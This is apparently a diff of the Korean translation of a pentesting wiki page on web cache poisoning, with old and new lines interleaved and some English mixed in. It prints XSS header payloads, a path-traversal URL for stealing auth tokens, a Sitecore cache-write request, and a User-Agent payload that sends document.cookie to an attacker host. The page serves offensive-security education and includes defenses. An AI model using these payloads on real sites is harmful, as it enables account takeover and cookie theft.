3. **Ensuring the Poisoned Response is Cached**: 마지막 단계는 조작된 응답이 cache에 저장되도록 보장하는 것입니다. 이렇게 하면 cache가 오염된 동안 해당 페이지에 접근하는 모든 사용자는 오염된 응답을 받게 됩니다.
|
||||
|
||||
### 발견: HTTP 헤더 확인
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
일반적으로 응답이 **캐시에 저장되었을 때** **그를 나타내는 헤더**가 있을 것입니다. 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
일반적으로 응답이 **stored in the cache**되었을 때 이를 나타내는 **header**가 있습니다. 어떤 헤더에 주의해야 하는지는 이 글에서 확인할 수 있습니다: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### 발견: 캐시 오류 코드
|
||||
### Discovery: Caching error codes
|
||||
|
||||
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
응답이 cache에 저장되는 것으로 의심된다면, **send requests with a bad header**를 시도해 볼 수 있습니다. 이 요청은 **status code 400**으로 응답되어야 합니다. 그런 다음 해당 요청에 정상적으로 접근해 보고, **response가 400 status code**라면 취약하다는 것을 알 수 있습니다(심지어 DoS도 가능할 수 있습니다).
|
||||
|
||||
You can find more options in:
|
||||
|
||||
더 많은 옵션은 다음에서 찾을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다.
|
||||
다만 **때로는 이러한 종류의 status code들이 캐시되지 않을 수 있으므로** 이 테스트가 항상 신뢰할 수 있는 것은 아니라는 점에 유의하세요.
|
||||
|
||||
### 발견: 키가 없는 입력 식별 및 평가
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 그곳에서 스크립트를 로드하도록 지시하기 위해 `X-Forwarded-For` 헤더를 사용할 수 있습니다:
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 페이지의 응답을 **changing the response of the page**할 수 있는 파라미터와 헤더를 **brute-force parameters and headers**로 찾아볼 수 있습니다. 예를 들어, 어떤 페이지는 `X-Forwarded-For` 헤더를 사용하여 클라이언트가 스크립트를 그 경로에서 로드하도록 지시할 수 있습니다:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### 백엔드 서버에서 유해한 응답 유도하기
|
||||
### 백엔드 서버에서 유해한 응답 유도
|
||||
|
||||
식별된 매개변수/헤더가 **어떻게** **정화**되고 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...)
|
||||
식별된 parameter/header에 대해 그것이 어떻게 **정제(sanitised)** 되는지, 그리고 헤더에서 응답의 **어디에 반영(reflected)** 되거나 영향을 주는지 확인하세요. 그래도 이를 악용할 수 있나요 (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드? DoS를 수행?...)
|
||||
|
||||
### 응답 캐시 가져오기
|
||||
### 응답을 캐시되게 만들기
|
||||
|
||||
악용할 수 있는 **페이지**를 **식별**하고, 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
|
||||
악용 가능한 **페이지**와 사용할 **parameter**/**header**, 그리고 이를 **어떻게** **악용(abuse)** 할지 **식별(identified)**했으면, 해당 페이지를 캐시되게 해야 합니다. 캐시하려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 반복 시도해야 할 수 있습니다.
|
||||
|
||||
응답의 **`X-Cache`** 헤더는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
|
||||
**`Cache-Control`** 헤더는 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`
|
||||
응답의 헤더 **`X-Cache`**는 유용할 수 있으며, 요청이 캐시되지 않았을 때 **`miss`** 값을, 캐시되었을 때 **`hit`** 값을 가질 수 있습니다.\
|
||||
헤더 **`Cache-Control`**도 리소스가 캐시되고 있는지, 다음에 언제 캐시될지 확인하는 데 유용합니다: `Cache-Control: public, max-age=1800`
|
||||
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 일반적으로 키로 취급되지 않는 헤더라도 캐시 키의 **일부로 간주되는 추가 헤더를 나타내기(indicate additional headers)** 위해 자주 사용됩니다. 따라서 공격자가 대상의 `User-Agent`를 알고 있다면, 해당 `User-Agent`를 사용하는 사용자들을 위해 캐시를 poison할 수 있습니다.
|
||||
|
||||
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다.
|
||||
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이 헤더는 객체가 프록시 캐시에 머문 시간을 초 단위로 정의합니다.
|
||||
|
||||
요청을 캐시할 때는 **사용하는 헤더에 주의**해야 합니다. 일부 헤더는 **예상치 않게** **키로 사용될 수** 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
|
||||
요청을 캐시할 때는 사용한 헤더에 대해 **주의(be careful with the headers you use)**해야 합니다. 일부 헤더는 **예상치 못하게** **keyed**로 사용될 수 있으며, 그러면 **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다른 브라우저들(different browsers)**로 Cache Poisoning을 **test**하여 제대로 동작하는지 확인하세요.
|
||||
|
||||
## 악용 예시
|
||||
## Exploiting Examples
|
||||
|
||||
### 가장 쉬운 예
|
||||
### Easiest example
|
||||
|
||||
`X-Forwarded-For`와 같은 헤더가 응답에 정화되지 않고 반영되고 있습니다.\
|
||||
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사용자가 XSS에 노출되도록 할 수 있습니다:
|
||||
응답에 `X-Forwarded-For`와 같은 헤더가 필터링 없이 반영(reflected)됩니다.\
|
||||
기본 XSS 페이로드를 보내고 캐시를 poison하면 페이지에 접근하는 모든 사용자가 XSSed 되게 할 수 있습니다:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아닙니다._
|
||||
_참고: 이것은 `/en?region=uk` 요청을 오염시키며 `/en` 요청은 아닙니다_
|
||||
|
||||
### Cache poisoning to DoS
|
||||
|
||||
### DoS를 위한 캐시 오염
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### CDN을 통한 캐시 오염
|
||||
### Cache poisoning through CDNs
|
||||
|
||||
**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명됩니다:
|
||||
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:
|
||||
|
||||
- CDN은 `/share/` 아래의 모든 것을 캐시합니다.
|
||||
- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, 이를 사용하여 **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색**으로 사용할 수 있습니다. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- 웹 서버는 `%2F..%2F`를 디코딩하고 정규화하며, `/api/auth/session`으로 응답합니다. 이 응답에는 **인증 토큰**이 포함되어 있습니다.
|
||||
- CDN은 `%2F..%2F`를 디코드하거나 정규화하지 않으므로, 이를 **path traversal to access other sensitive locations that will be cached**로 사용하여 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 같은 민감한 위치에 접근할 수 있습니다.
|
||||
- 웹 서버는 `%2F..%2F`를 디코드하고 정규화하여 `/api/auth/session`으로 응답하며, 이는 **contains the auth token**입니다.
|
||||
|
||||
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
쿠키는 페이지의 응답에 반영될 수도 있습니다. 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
|
||||
Cookies는 페이지 응답에 반영될 수도 있습니다. 예를 들어 이를 악용해 XSS를 일으킬 수 있다면, 악의적인 cache 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오.
|
||||
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
|
||||
|
||||
### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 구분자, 정규화 및 점을 이용한 불일치 생성 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
확인하십시오:
|
||||
Check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### API 키를 훔치기 위한 경로 탐색을 통한 캐시 오염 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### path traversal을 통한 Cache poisoning으로 API key 탈취 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에 가능했습니다. 이는 요청이 웹 서버에 도달했을 때 수행되었습니다.
|
||||
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
|
||||
|
||||
이것은 다음에서 더 잘 설명됩니다:
|
||||
This is also explained better in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 여러 헤더를 사용해 web cache poisoning 취약점 악용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
|
||||
때로는 캐시를 악용하기 위해 **exploit several unkeyed inputs**가 필요할 수 있습니다. 예를 들어, `X-Forwarded-Host`를 본인이 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`를 `http`로 설정하면 **Open redirect**을 발견할 수 있습니다. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, 리디렉션이 가리키는 페이지의 위치를 제어할 수 있습니다.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### 제한된 `Vary` 헤더로 악용하기
|
||||
### Exploiting with limited `Vary`header
|
||||
|
||||
**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
|
||||
만약 **`X-Host`** 헤더가 **JS 리소스를 로드할 도메인 이름**으로 사용되고 있고, 응답의 **`Vary`** 헤더가 **`User-Agent`**로 표시되어 있다면, 피해자의 `User-Agent`를 exfiltrate하고 해당 `User-Agent`를 사용해 poison the cache할 방법을 찾아야 합니다:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -135,7 +137,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 파라미터를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
URL과 body에 요청을 담아 GET 요청을 보낸다. 만약 web server가 body의 값을 사용하지만 cache server가 URL의 값을 캐시한다면, 해당 URL에 접속하는 누구나 실제로는 body의 parameter를 사용하게 된다. James Kettle이 Github 웹사이트에서 발견한 vuln과 같다:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -144,126 +146,143 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
이와 관련된 PortSwigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### 매개변수 클로킹
|
||||
### Parameter Cloacking
|
||||
|
||||
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분리할 수 있습니다. 이를 사용하여 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
|
||||
예를 들어 ruby 서버에서는 **`;`** 문자를 **`&`** 대신 사용해 **parameters**를 구분할 수 있습니다. 이를 이용해 키가 없는 parameters 값을 키가 있는 parameters 내부에 삽입해 악용할 수 있습니다.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
PortSwigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### HTTP 요청 스머글링을 악용한 HTTP 캐시 오염 공격
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
여기에서 [HTTP 요청 스머글링을 악용한 캐시 오염 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)을 배울 수 있습니다.
|
||||
여기에서 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)를 수행하는 방법을 확인하세요.
|
||||
|
||||
### 웹 캐시 오염에 대한 자동화된 테스트
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 웹 캐시 오염을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 Web Cache Poisoning을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기법을 지원하며 커스터마이징이 매우 용이합니다.
|
||||
|
||||
예제 사용법: `wcvs -u example.com`
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
### 헤더 반사 XSS + CDN/WAF 지원 캐시 시딩 (User-Agent, 자동 캐시된 .js)
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
이 실제 패턴은 헤더 기반 반사 원시 기능과 CDN/WAF 동작을 연결하여 다른 사용자에게 제공되는 캐시된 HTML을 신뢰성 있게 오염시킵니다:
|
||||
이 실제 패턴은 header 기반 반사 primitive와 CDN/WAF 동작을 연결하여 다른 사용자들에게 제공되는 캐시된 HTML을 신뢰성 있게 포이즈닝합니다:
|
||||
|
||||
- 주요 HTML은 신뢰할 수 없는 요청 헤더(예: `User-Agent`)를 실행 가능한 컨텍스트로 반사했습니다.
|
||||
- CDN은 캐시 헤더를 제거했지만 내부/원본 캐시가 존재했습니다. CDN은 또한 정적 확장자(예: `.js`)로 끝나는 요청을 자동으로 캐시했으며, WAF는 정적 자산에 대한 GET 요청에 대해 더 약한 콘텐츠 검사를 적용했습니다.
|
||||
- 요청 흐름의 특이성으로 인해 `.js` 경로에 대한 요청이 이후 주요 HTML에 사용되는 캐시 키/변형에 영향을 미쳐 헤더 반사를 통한 사용자 간 XSS를 가능하게 했습니다.
|
||||
- 메인 HTML은 신뢰할 수 없는 요청 헤더(예: `User-Agent`)를 실행 가능 컨텍스트로 반사했습니다.
|
||||
- CDN은 캐시 헤더를 제거했지만 internal/origin cache가 존재했습니다. CDN은 또한 정적 확장자(예: `.js`)로 끝나는 요청을 자동으로 캐시했고, WAF는 정적 자산에 대한 GET에 대해 더 약한 콘텐츠 검사를 적용했습니다.
|
||||
- 요청 흐름의 특성으로 인해 `.js` 경로에 대한 요청이 이후 메인 HTML에 사용되는 cache key/variant에 영향을 주어 header reflection을 통한 크로스-유저 XSS가 가능해졌습니다.
|
||||
|
||||
실용적인 레시피(인기 있는 CDN/WAF에서 관찰됨):
|
||||
실전 레시피(한 인기 있는 CDN/WAF에서 관찰됨):
|
||||
|
||||
1) 깨끗한 IP에서(이전 평판 기반 하락을 피하기 위해) 브라우저 또는 Burp Proxy Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
|
||||
2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "병렬로 그룹 전송"을 사용합니다(단일 패킷 모드가 가장 잘 작동합니다):
|
||||
- 첫 번째 요청: 악성 `User-Agent`를 보내면서 동일한 출처의 `.js` 리소스 경로를 GET합니다.
|
||||
- 즉시 후에: 주요 페이지(`/`)를 GET합니다.
|
||||
3) CDN/WAF 라우팅 경쟁과 자동 캐시된 `.js`는 종종 오염된 캐시 HTML 변형을 시드하여 동일한 캐시 키 조건(예: 동일한 `Vary` 차원인 `User-Agent`)을 공유하는 다른 방문자에게 제공됩니다.
|
||||
1) 평판 저하가 없는 깨끗한 IP에서(이전 평판 기반 강등을 피하면서), 브라우저 또는 Burp Proxy의 Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
|
||||
2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "Send group in parallel"를 사용합니다(단일-packet 모드가 가장 잘 동작합니다):
|
||||
- 첫 번째 요청: 같은 오리진의 `.js` 리소스 경로에 대해 악성 `User-Agent`를 보내며 GET 요청을 보냅니다.
|
||||
- 바로 다음: 메인 페이지(`/`)에 GET을 보냅니다.
|
||||
3) CDN/WAF 라우팅 레이스와 auto-cached `.js`가 결합되어 종종 포이즈닝된 캐시된 HTML 변형을 주입하며, 이는 동일한 캐시 키 조건(예: `User-Agent` 같은 동일한 `Vary` 차원)을 공유하는 다른 방문자들에게 제공됩니다.
|
||||
|
||||
예제 헤더 페이로드(비 HttpOnly 쿠키를 유출하기 위해):
|
||||
Example header payload (to exfiltrate non-HttpOnly cookies):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
운영 팁:
|
||||
Operational tips:
|
||||
|
||||
- 많은 CDN이 캐시 헤더를 숨깁니다. 중독은 다중 시간 새로 고침 주기에서만 나타날 수 있습니다. 여러 관점 IP를 사용하고 속도를 조절하여 비율 제한 또는 평판 트리거를 피하십시오.
|
||||
- CDN의 자체 클라우드에서 IP를 사용하면 라우팅 일관성이 향상될 수 있습니다.
|
||||
- 엄격한 CSP가 있는 경우에도, 반사가 메인 HTML 컨텍스트에서 실행되고 CSP가 인라인 실행을 허용하거나 컨텍스트에 의해 우회되는 경우 여전히 작동합니다.
|
||||
- 많은 CDN은 캐시 헤더를 숨긴다; poisoning은 몇 시간 단위의 갱신 주기에서만 나타날 수 있다. 여러 위치의 IP를 사용하고 rate-limit 또는 평판 트리거를 피하기 위해 요청 속도를 제한하라.
|
||||
- CDN의 자체 cloud에 속한 IP를 사용하면 라우팅 일관성이 향상될 때가 있다.
|
||||
- 엄격한 CSP가 존재하더라도, reflection이 메인 HTML 컨텍스트에서 실행되고 CSP가 inline 실행을 허용하거나 컨텍스트로 우회되는 경우에는 여전히 작동한다.
|
||||
|
||||
영향:
|
||||
Impact:
|
||||
|
||||
- 세션 쿠키가 `HttpOnly`가 아닌 경우, 제로 클릭 ATO가 가능하며, 중독된 HTML을 제공받는 모든 사용자로부터 `document.cookie`를 대량으로 유출할 수 있습니다.
|
||||
- 세션 쿠키가 `HttpOnly`로 설정되어 있지 않다면, poisoned HTML을 제공받는 모든 사용자로부터 `document.cookie`를 mass-exfiltrating함으로써 zero-click ATO가 가능하다.
|
||||
|
||||
방어:
|
||||
Defenses:
|
||||
|
||||
- 요청 헤더를 HTML에 반영하는 것을 중지하십시오. 불가피한 경우에는 엄격하게 컨텍스트 인코딩하십시오. CDN과 원본 캐시 정책을 정렬하고 신뢰할 수 없는 헤더에 따라 다르게 하지 마십시오.
|
||||
- WAF가 `.js` 요청 및 정적 경로에 대해 일관되게 콘텐츠 검사를 적용하는지 확인하십시오.
|
||||
- 세션 쿠키에 `HttpOnly` (및 `Secure`, `SameSite`)를 설정하십시오.
|
||||
- 요청 헤더를 HTML로 반영하는 것을 중단하라; 불가피하면 반드시 컨텍스트에 맞게 인코딩하라. CDN과 origin의 캐시 정책을 일치시키고 신뢰할 수 없는 헤더에 따라 vary하지 않도록 하라.
|
||||
- WAF가 `.js` 요청 및 정적 경로에 대해 일관되게 콘텐츠 검사를 적용하는지 확인하라.
|
||||
- 세션 쿠키에 `HttpOnly` (및 `Secure`, `SameSite`)를 설정하라.
|
||||
|
||||
## 취약한 예시
|
||||
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
|
||||
|
||||
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
이 항목은 공격자가 선택한 캐시 키 아래에 임의의 HTML을 기록하여, 캐시 키가 알려지면 정확한 poisoning이 가능하게 만듭니다.
|
||||
|
||||
자세한 내용(캐시 키 구성, ItemService 열거 및 chained post‑auth deserialization RCE)은 다음을 참고하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## 취약한 예
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS는 URL 내의 조각을 제거하지 않고 전달하고, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다 (조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다.
|
||||
ATS는 URL 내부의 fragment를 제거하지 않고 전달했으며, cache key는 fragment를 무시하고 host, path, query만을 사용해 생성했습니다. 따라서 요청 `/#/../?r=javascript:alert(1)`는 백엔드로 `/#/../?r=javascript:alert(1)` 그대로 전송되었고, 캐시 키에는 payload가 포함되지 않고 host, path, query만 포함되었습니다.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했습니다. 캐시 키에는 쿠키가 포함되어 있어 인증되지 않은 사용자만 공격할 수 있었습니다.
|
||||
content-type header에 잘못된 값을 보내면 405 cached response가 발생했습니다. 캐시 키에 cookie가 포함되어 있어 공격은 인증되지 않은 사용자에게만 가능했습니다.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab은 GCP 버킷을 사용하여 정적 콘텐츠를 저장합니다. **GCP 버킷**은 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 중독시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. `PURGE` 메서드도 지원할 수 있습니다.
|
||||
GitLab은 정적 콘텐츠를 저장하기 위해 GCP buckets를 사용합니다. **GCP Buckets**는 **header `x-http-method-override`**를 지원합니다. 그래서 `x-http-method-override: HEAD` 헤더를 전송해 캐시를 poison하여 빈 응답 본문을 반환하도록 만들 수 있었습니다. 또한 `PURGE` 메서드도 지원될 수 있습니다.
|
||||
|
||||
### Rack 미들웨어 (Ruby on Rails)
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
|
||||
Ruby on Rails 애플리케이션에서는 Rack middleware가 자주 사용됩니다. 해당 Rack 코드는 **`x-forwarded-scheme`** 헤더의 값을 가져와 요청의 scheme으로 설정하는 역할을 합니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 redirect가 발생해 해당 리소스에 대한 Denial of Service (DoS)를 일으킬 수 있습니다. 추가로, 애플리케이션이 `X-forwarded-host` 헤더를 인정하고 사용자를 지정된 호스트로 리다이렉트할 수 있습니다. 이러한 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 만들어 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
### 403 및 스토리지 버킷
|
||||
